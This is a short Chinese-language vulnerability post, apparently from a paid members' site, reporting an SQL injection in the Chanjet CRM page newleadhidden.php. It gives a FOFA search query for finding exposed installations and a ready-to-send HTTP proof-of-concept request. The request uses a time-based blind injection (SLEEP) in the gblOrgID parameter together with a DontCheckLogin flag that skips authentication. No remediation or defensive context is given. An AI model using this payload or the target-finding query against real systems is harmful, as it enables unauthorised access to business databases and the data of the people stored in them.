畅捷通CRM newleadhidden.php 存在SQL注入

fofa:

app="畅捷通-畅捷CRM"

poc:

GET /lead/newleadhidden.php?gblOrgID=1+AND+(SELECT+5244+FROM+(SELECT(SLEEP(5)))HAjH)--+-&DontCheckLogin=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

 

畅捷通CRM newleadhidden.php 存在SQL注入-棉花糖会员站
畅捷通CRM newleadhidden.php 存在SQL注入
此内容为付费阅读,请付费后查看
9999积分
付费阅读
已售 4
© 版权声明
THE END
喜欢就支持一下吧
点赞34赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容